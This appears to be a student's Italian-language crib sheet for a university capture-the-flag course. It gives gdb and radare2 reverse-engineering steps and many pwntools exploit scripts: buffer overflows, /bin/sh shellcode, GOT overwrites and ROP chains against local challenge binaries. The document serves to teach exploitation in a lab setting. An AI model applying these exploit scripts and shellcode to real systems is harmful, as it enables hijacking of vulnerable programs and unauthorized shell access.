[pag 117 gabriel]
chmod +x nome file (permessi)
objdump -d hello_world
Si può semplicemente chiamare **strings hello_world** e si vede subito la flag. Soluzione spesso non ammessa.
—--

^C
ltrace ./funmail, possiamo notare, inserendo come username john galt, la composizione logica del programma.

—--
La patch qui è molto semplice, quello che dobbiamo fare è cambiare la condizione di salto: se i PIN sono
uguali, andiamo al ramo sbagliato, altrimenti andiamo al ramo corretto. Invece del jnz (salto se non zero, il
che significa se sono diversi) vogliamo jz (salto se zero, cioè se sono uguali).
Posizionandosi nel punto dell'istruzione "The pin is correct" e aprendo la "hex view", vediamo che
l'istruzione è 75 CD, dove 75 è l'opcode per JNZ. A questo punto:
- **Possiamo sostituire questa con 74 CD, dove 74 è l'opcode per JZ (Jump if Zero), saltando sempre nel**
ramo giusto
- **Possiamo sostituire 75 CD con 90 90, dove 90 è NOP**

—-
Usiamo il **debugger gdb** per risolverlo. Quindi, si scrive **gdb funmail2.0.**
Eseguendo gdb, possiamo impostare un breakpoint (scrivendo break main oppure anche b main):

Dopo aver scritto **run (oppure r)** dovremmo vedere diverse informazioni sull'esecuzione.
Ora possiamo fare quello che vogliamo, ad esempio chiamare showEmails, dato che vediamo dalle istruzioni precedenti che la sua chiamata rimane sullo stack.

Possiamo semplicemente digitare in ordine: **b* main – run - j* showEmails**
Che restituisce quanto segue:

Alternativamente, si salta direttamente a printFlag: b* main – run - j* printFlag (permesso dall'esercizio)

gdb run
disas decrypt_flag
b* 0x00000000004008a8 (prima del puchar)
run
printf "%s", (char*) flag_buf

Alternatively, you can use the command x/s (char*)ltrflag_buf to see the content of the variable. (oppure 0xAddress)

gdb dontdebugmeplease – b* main – r – disassemble/disas

PER L'ESERCIZIO CON CONTROLLO SU STACK DEBUG

1) **togli call ptrace dentro a init (vista da start che si avviava prima di main**
2) **gdb nome_es**
3) **run**
4) **poi controllo su main, disas main**
5) **vedo confronto su strcmp deii registri rsi e rdi**
6) **metto breakpoint in quella call b* 0x5555554008d6**
7) **run**
8) **info registers**
9) **x/s 0x5555554009d0**

PWN esempio codice phyton con pwntools (gets)

```
from pwn import *
# Carica il binario (sostituisci con il path corretto)
exe = "./courseEval"
elf = context.binary = ELF(exe, checksec=False)
# Avvia il processo locale
p = process(exe)
# Costruzione del payload:
# 56 per riempire buffer (vedi da IDA) e le alre cose si vedono da IDA
payload = b"A"*56+b"UniPD_01"+b"CPP-"+b"PWN-"+b"Pier"
# Invia l'input al programma
p.sendline(payload)
# Ricevi e stampa l'output (compresa la flag)
print(p.recvall().decode())
```

JAVA →> vedi sol
Alla fine del main:
if(user.call) user.call();
→ Se sovrascrivi `call` con un indirizzo a tua scelta, il programma salta lì.
exploit.py

```
from pwn import *
target_address = p64(0x4007a2)
garbage = b'java' + b'a'*28
msgin = garbage + target_address
p = process('./java')
p.sendline(msgin)
p.interactive()
```

ls
cat flag.txt

SHELLCODE

Suggerimento per gli esercizi: Trovare l'indirizzo di ritorno dall'inizio del buffer potrebbe essere complicato.
Possiamo creare uno schema che non si ripete (ciclico) e vedere quale parte del pattern sovrascrive l'indirizzo di ritorno. In questo modo, possiamo capire **l'offset (ret_addr - buff_addr)!**

Comandi utili di gdb-peda:
pattern_create size [file]
pattern_search

indirizzo funzione shell()
nm -n pwn1 | grep " shell"
one line
python3 -c 'import struct; print("A"*132 + struct.pack("<I", 0x080484ad).decode("latin-1"))' | ./pwn1

> Now, we are inside the debugger with the program loaded. We can check the security mechanisms of the application by typing the *checksec* command

Most are disabled (e.g., **canary**), which means that we can overwrite the memory and reach the return address of the *main* function. Our goal is to call the function *print_flag*, which contains the actual flag.

EXPLOIT.PY

```
from pwn import *
proc = ELF('./hi') # Load the binary
target_address=p64(proc.symbols['print_flag']) # Get the address of the
print_flag function
garbage=b'A'*40 # Fill the buffer with garbage
msgin = garbage + target_address # Create the payload
p = process('./hi') # Start the process
p.sendline(msgin) # Send the payload
msgout = p.recvall() # Receive the output
print(msgout) # Print the output
```

OFFSET.PY (64bit)

```
from pwn import *
elf = context.binary = ELF("./hi")
io = process(elf.path)
io.sendline(cyclic(100))
io.wait()
core = io.corefile
offset = cyclic_find(core.read(core.rsp, 8))    #find(core.eip) 32bit
print("Offset:", offset)
```

sgreva@sgreva:~/Desktop/Challenges16/2_hi$ file ./hi
./hi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=32250918371febe99b40bdabdd469d16090ffdeb, not stripped
sgreva@sgreva:~/Desktop/Challenges16/2_hi$
64 bit → 8 byte (return address, saved RBP)

SHELLCODE

1️⃣ Shell-Storm

http://shell-storm.org/shellcode/

Cerca per parola chiave:

- "execve /bin/sh"
- "spawn shell"

EXPLOIT.PY CON SHELLCODE (32 bit)

```
from pwn import *
target_address = p32(0x08048541)
garbage = b'a'*44
shellcode =
b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\
x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
msgin = garbage + target_address + shellcode
p = process('./pwn2')
p.sendline(msgin)
p.interactive()
```

Quindi costruisci il payload così:

1. **garbage = 'A'*44 → riempi il buffer fino a EIP.**
2. **target_address → al posto di EIP ci metti l'indirizzo della funzione lol().**
   - **Quando la funzione main fa ret, il flusso va a lol().**
   - **Dentro lol() c'è jmp %esp.**
   - **In quel momento %esp punta subito dopo al valore che hai messo come return address, cioè al tuo shellcode.**
3. **shellcode → è il classico shellcode Linux 32-bit che fa una execve("/bin/sh").**
   - **Quindi, quando jmp %esp viene eseguito, il controllo passa direttamente qui.**

SICUREZZA FILE

checksec --file=nomefile
no CANARY → offset/shell/return
Partial RELRO → GOT

GOT (scanf/puts/exit)

Il nostro primo passo è estrarre l'indirizzo GOT della funzione puts e l'indirizzo della funzione win. Questo potrebbe essere fatto facilmente con **radare2**.
comandi:
r2 ./nomefile
afl
Da qui, usiamo il comando pd per stampare il disassembler di una funzione, usando il numero di inizio e una handle con la @. Per esempio, per vedere le chiamate della funzione **puts**, usiamo **pd 1 @sym.imp.puts**

EXPLOIT.PY GOT

```
from pwn import *
putsGOT = '804a00c'
winAddr = '0804854b'
io = process('./auth')
io.sendlineafter('?\n', putsGOT)
io.sendlineafter('\n', winAddr)
io.interactive()
```

EXPLOIT2.PY GOT

```
from pwn import *
p = process("./auth")
e = ELF("./auth")
#the program requires to send an address and we're gonna send the
"exit" function, exchanging it with"win" one
p.sendline(hex(e.got['puts']))
p.sendline(hex(e.symbols['win']))
p.interactive()
```

EXPLOIT%d.PY GOT

```
from pwn import *
exitGOT = str(int('804a01c', 16))    # -> "134520476"
winAddr = str(int('080485c6', 16))         # -> "134514886"
io = process('./vuln')
io.sendlineafter('address\n', exitGOT)
io.sendlineafter('?\n', winAddr)
io.interactive()
```

“Quindi **ti sputa su stdout l’indirizzo di `main`** (un pointer di 4 o 8 byte).
Se il binario è PIE (indirizzi randomizzati), questo leak ti serve per calcolare la base del binario. Se **NON è PIE**, in realtà non serve neanche, perché gli indirizzi sono fissi.”

EXPLOIT3.PY

```
from pwn import *
exitGOT = '404048'
targetAddr = '401276'
io = process('./vuln')
io.sendlineafter('\n', 'y')
io.sendline(str(0x401276)) #target
io.sendline(str(0x404048)) #exit
io.interactive()
```

EXPLOIT_GOTPIE.PY

```
# Import everything in the pwntools namespace
from pwn import *
# The target binary is 64-bit.
# While we can explicitly specify the architecture and other things
# in the context settings, we can also absorb them from the file.
context.binary = './challenge'
# Create an instance of the process to talk to
io = process(context.binary.path)
# Receive the address of main
main = io.unpack()
# Load up a copy of the ELF so we can look up its GOT and symbol table
elf = context.binary
# Fix up its base address.  This automatically updates all of the
symbols.
elf.address = main - elf.symbols['main']
# We want to overwrite the pointer for "read"
where = elf.got['read']
# We want to overwrite it with the address of the function that gives
us a shell
what = elf.symbols['oh_look_useful']
# Log some useful information
log.info("Main:    %x" % main)
log.info("Address: %x" % elf.address)
log.info("Where:   %x" % where)
log.info("What:    %x" % what)
# Send the payload
io.pack(where)
io.pack(what)
# Enjoy the shell
io.interactive()
```

ROP (ret)

r2 ./nomefile → per radare2
aaaa
afl → per la lista delle funzioni
pdf @ sym.funzione → per aprire la funzione che ci interessa

Piazzando un break sul main, possiamo notare che la chiamata alla shell viene passata tramite RDX:

L'idea potrebbe essere quella di sfruttare il codice che è già presente e spostare in cima ai registri chiamati (secondo le convenzioni x64) a RDI. Possiamo effettuare una chiamata in base all'offset di quel registro, per poi chiamare correttamente la shell; in altri termini, un ROP gadget. Ci sono vari modi con cui questo è fattibile, per esempio usiamo ROPgadget (con comando seguente):
ROPgadget --binary split | grep "rdi"

Un gadget è letteralmente un pezzo di codice assembly che si usa per costruire uno stack su cui chiamare istruzioni ed eseguire modifiche; normalmente, consideriamo istruzioni del tipo pop e terminanti con ret. Troviamo esattamente ciò di cui abbiamo bisogno all'indirizzo **0x4007c3: pop rdi; ret. [gadget per pop rdi]**

Ora abbiamo bisogno del comando /bin/cat flag.txt (una stringa in questo caso), che sappiamo già esiste da qualche parte nel binario. Questa ci permette di mettere la chiamata in rdi e poi chiamare system().
Possiamo notare che con il comando **f~useful [f da sola mostra tutte]**in Radare2 è presente dentro usefulString, la quale disassemblata mostra esattamente quello che ci serve:
(in questo caso) **px @ obj.usefulString [o iz vedi sotto]**
Similmente, per trovarlo tra i simboli della sezione .data, possiamo usare il comando **iz**:
Notiamo che la stringa a cui vogliamo saltare è **0x00601060 [cat flag.txt]**
Ora abbiamo bisogno dell'indirizzo di system(). Possiamo trovarlo usando il comando di sistema **p (print)** [in questo caso gdb **p system**] in gdb. Si può notare che sta all'indirizzo **0x400560** dalla lista delle funzioni. **[indirizzo di sistema system]**

Abbiamo l'indirizzo di system, quindi ora possiamo costruire il nostro script pwntools. Consideriamo che tutti gli indirizzi sono a 32 byte; per garantire l'indirezione correttamente, occorre usarne 40, in quanto sarebbero 32+8. Costruiamo la nostra ROP chain sotto con pwntools. (si capisce offset da pwnme)

La struttura della rop chain è:
offset_padding + pop_rdi_gadget + print_flag_cmd + system_addr

A volte potrebbe accadere, nella costruzione di catene ROP, che lo stack non sia più allineato a 16 byte.
Come nelle reverse challenges, inseriamo i NOP per allinearci con lo stack; in questo contesto, è come avere un gadget che contiene ret.

Per risolvere questo problema, è necessario allineare il puntatore dello stack prima della chiamata a system(), spostandolo di 8 byte. Lo stack pointer (RSP) leggerà quell'indirizzo (che è esattamente 8 byte nell'architettura a 64 bit) e quindi verrà nuovamente allineato correttamente. **Creiamo quindi un ROP gadget contenente solo un'istruzione ret. Ad esempio, ne troviamo uno in 0x40053e.**
ROPgadget --binary split | grep "ret" → cerchiamone uno con solo "ret"

La struttura della rop chain ORA è:
offset_padding + pop_rdi_gadget + print_flag_cmd + gadget2 + system_addr

EXPLOIT.PY ROP

```
from pwn import *
io = process('./split')
offset = b"A"*40
gadget_pop_rdi = p64(0x00000000004007c3)
print_flag = p64(0x00601060)
gadget2_ret = p64(0x000000000040053e)
system = p64(0x400560)
payload = offset + gadget_pop_rdi + print_flag + gadget2_ret + system
io.sendline(payload)
io.interactive()
```

EXPLOIT.PY ROP2

```
from pwn import *
arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)
callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)
pop_3reg = p64(0x000000000040093c) # pop rdi; pop rsi; pop rdx; ret;
offset = b"a"*40
#callme_one        load into   rdi    rsi    rdx
payload = offset + pop_3reg + arg1 + arg2 + arg3 + callme_one
#callme_two            rdi    rsi    rdx
payload +=  pop_3reg + arg1 + arg2 + arg3 + callme_two
#callme_three          rdi    rsi    rdx
payload +=  pop_3reg + arg1 + arg2 + arg3 + callme_three
io = process("./callme")
io.recvuntil("> ")
io.sendline(payload)
print(io.recvall())
```

ULTIMA CHALLENGE

1) Presumiamo che il file da stampare sia proprio la flag. Vediamo già l'indirizzo di sys.imp.print_file, prendiamo nota di questo, poiché lo useremo presto: Print_file = 0x00400510
2) Ora, come possiamo scrivere qualcosa nella memoria? Innanzitutto, dobbiamo trovare una sezione del programma che sia scrivibile. Possiamo ispezionare le sezioni usando **readelf -S ./nomefile** (**mostra l'offset di ciascun simbolodella base della sezione rispetto a cui si trova**) o il comando **iS** (**che mostra le sezion**i) in radare2
3) La maggior parte delle sezioni sono semplicemente leggibili. **Una buona sezione scrivibile è .data (0x00601028), che viene normalmente utilizzato per memorizzare le variabili. Ispezioniamo cosa c'è dentro. Ha una dimensione di 10 byte, che potrebbe essere adatta a noi, dal momento che "flag.txt" è lungo 8 byte.** Possiamo ispezionare usando **px 10 .data** (print hexdump of 10 bytes) e possiamo vedere che la sezione è vuota.
4) Ora che abbiamo il **posto giusto per scrivere la nostra stringa (quindi, una mov), troviamo un gadget che possa farlo, usiamo ROPgadget e grep, in successione con ROPgadget --binary write4 | grep "mov"**
5) **Troviamo mov ptr [r14], r15, che mette ciò che è in r15 all'indirizzo indicato da r14 (0x00400628). Idealmente, metteremo r15 "flag.txt", e in r14 metteremo l'indirizzo dove vogliamo scriverlo, che è 0x00601028 che abbiamo trovato prima.**
6) Trovare un ROP gadget che coinvolga sia r14 che r15, essendo l'indirizzo dove vogliamo spostare la flag" e sovrascrivere correttamente.
   ROPgadget --binary write4 | grep "pop"
7) Infine, abbiamo bisogno del gadget per inserire l'indirizzo della stringa in rdi (quindi della forma pop rdi-ret) [già con il comando di prima]
8) Similmente, si può lanciare il comando **ROPgadget --binary write4 --ropchain [e vengono fuori tutti gli indirizzi presi prima]**
9) Attenzione: anche qui lo stack è disallineato. Occorre quindi prendersi un gadget contenente solo "ret" prima di tutte le altre chiamate e dopo l'offset.

EXPLOIT.PY

```
from pwn import *
print = p64(0x00400510)          # print_file@plt
data = p64(0x00601028)           # indirizzo della sezione .data
where_mov = p64(0x0000000000400628)  # gadget mov [r14], r15 ; ret
what_flag = b"flag.txt"          # stringa da scrivere
rop1_r1415 = p64(0x0000000000400690) # gadget pop r14 ; pop r15 ; ret
rop2_rdi = p64(0x0000000000400693)   # gadget pop rdi ; ret
rop_onlyret = p64(0x00000000004004e6) # gadget ret (riallineamento)
offset = b"a"*40
# ROP chain costruita passo passo
rop = (
   offset +
   rop_onlyret +           # allineamento
   rop1_r1415 + data + what_flag +   # r14=.data, r15="flag.txt"
   where_mov +             # scrivi "flag.txt" in .data
   rop2_rdi + data +       # rdi = indirizzo .data
   print                   # chiama print_file(.data)
)
e = process("./write4")
e.sendline(rop)
e.interactive()
```

Altro exploit.py (gets)

```
from pwn import *
target_address = p64(0x004005c7)
garbage = b'a'*72  # 72 bytes  perchè 64 bytres per variabili locali e
8 bytes di saved RBP
msgin = garbage + target_address
p = process('./bluff_overflow.exe')
p.sendline(msgin)
p.interactive()
```

MIRROR

I used radare ,the command iz, to look for any useful strings in the program. I found some tip about how the flag was mirrored and i found it like that.

}803998_ekoPWOOOOOLS_ereh_yllaniF{ZTIRPS

i mirrored it and i found the flag

SPRITZ{Finally_here_SLOOOOOWPoke_899038}

strings honeydex_1193389 | grep "ZTIRPS"